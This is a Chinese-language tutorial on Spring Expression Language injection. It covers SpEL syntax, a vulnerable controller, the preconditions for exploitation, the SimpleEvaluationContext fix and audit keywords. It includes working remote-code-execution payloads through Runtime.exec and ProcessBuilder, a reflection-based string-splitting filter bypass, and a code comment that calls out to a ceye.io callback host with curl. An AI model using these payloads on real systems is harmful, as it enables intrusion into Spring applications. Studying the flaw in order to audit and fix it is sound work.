0x01 前言

Spring Expression Language（简称 SpEL）是一种功能强大的表达式语言、用于在运行时查询和操作对象图；语法上类似于Unified EL，但提供了更多的特性，特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与Spring 生态系统所有产品无缝对接，能提供一站式支持的表达式语言

0x02 SpEL 语法

SpEL使用 #{...} 作为定界符，所有在大括号中的字符都将被认为是 SpEL表达式，我们可以在其中使用运算符，变量以及引用bean，属性和方法如：

• 引用其他对象: #{car}

• 引用其他对象的属性：#{car.brand}

• 调用其它方法 , 还可以链式操作：#{car.toString()}

• 其中属性名称引用还可以用符号如：‘{someProperty} `

除此以外在SpEL中，使用T() 运算符会调用类作用域的方法和常量。类类型表达式：使用"T(Type)"来表示 java.lang.Class 实例，"Type"必须是类全限定名，"java.lang"包除外，即该包下的类可以不指定包名；使用类类型表达式还可以进行访问类静态方法及类静态字段
例如，在SpEL中使用Java的Math类，这样使用T()运算符：#{T(java.lang.Math)}
T()运算符的结果会返回一个java.lang.Math类对象

0x03 SpEL 使用方式

SpEL 在求表达式值时一般分为四步，其中第三步可选：首先构造一个解析器，其次解析器解析字符串表达式，在此构造上下文，最后根据上下文得到表达式运算后的值

ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' lisa').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));

1. 创建解析器：SpEL 使用 ExpressionParser 接口表示解析器，提供 SpelExpressionParser 默认实现

2. 解析表达式：使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象

3. 构造上下文：准备比如变量定义等等表达式需要的上下文数据

4. 求值：通过 Expression 接口的 getValue 方法根据上下文获得表达式值

• Expression 接口：表示表达式对象，默认实现是 org.springframework.expression.spel.standard 包中的SpelExpression，提供 getValue 方法用于获取表达式值，提供 setValue 方法用于设置对象值

• EvaluationContext 接口：表示上下文环境，默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类，使用 setRootObject 方法来设置根对象，使用 setVariable 方法来注册自定义变量，使用 registerFunction 来注册自定义函数等等

spel表达式有三种用法：

1. 注解

@value("#{表达式}")
public String arg;

这种一般是写死在代码中的，不是关注的重点

2. xml

<bean id="Bean1" class="com.test.xxx">
	<property name="arg" value="#{表达式}">
</bean>

这种情况通常也是写死在代码中的，但是也有已知的利用场景，就是利用反序列化让程序加载我们实现构造好的恶意xml文件，如jackson的CVE-2017-17485、weblogic的CVE-2019-2725等

3. 在Controller中处理外部传入的表达式

这部分是关注的重点

@RequestMapping("/spel")
public String spel(@RequestParam(name = "spel") String spel) {
    ExpressionParser expressionParser = new SpelExpressionParser();
    Expression expression = expressionParser.parseExpression(spel);
    Object object = expression.getValue();
    return object.toString();
}

0x03 漏洞利用

1. 漏洞可以利用的前置条件有三个：

• 传入的表达式未过滤

• 表达式解析之后调用了getValue/setValue方法

• 使用StandardEvaluationContext（默认）作为上下文对象

2. spel表达式功能非常强大，在漏洞利用方面主要使用这几个功能：

• 使用T(Type)表示Type类的实例,Type为全限定名称,如T(com.test.Bean1)。但是java.lang例外,该包下的类可以不指定包名。得到类实例后会访问类静态方法与字段。

T(java.lang.Runtime).getRuntime().exec("whoami")

• 直接通过java语法实例化对象、调用方法

new ProcessBuilder("whoami").start()
//可以利用反射来绕过一些过滤
#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}

0x03 案例

/**
     * SpEL to RCE 
     * http://localhost:8080/spel/vul/? 
expression=xxx. 
     * xxx is urlencode(exp) 
     * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") 
     */ 
@GetMapping("/spel/vuln") 
public String rce(String expression) { 
    ExpressionParser parser = new SpelExpressionParser(); 
    // fix method: SimpleEvaluationContext 
    return parser.parseExpression(expression).getValue().toString(); 
}

如果不指定默认使用StandardEvaluationContext作为上下文对象，注意payload需要URL编码
payload:http://localhost/spel/vuln?expression=T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)

0x03 漏洞防御

使用SimpleEvaluationContext作为上下文对象。
修复代码：

    @GetMapping("/spel/sec")
    public String spel_sec(String expression) {
        ExpressionParser parser = new SpelExpressionParser();
        //只读属性
        EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        return parser.parseExpression(expression).getValue(context).toString();
    }

0x04 总结

审计方法：
可以先全局搜索 org.springframework.expression.spel.standard, 或是 expression.getValue()、expression.setValue()，定位到具体漏洞代码，再分析传入的参数能不能利用，最后再追踪参数来源,看看是否可控
关键词：SpelExpressionParser 、StandardEvaluationContext
参考链接：Java特色-表达式注入漏洞从入门到放弃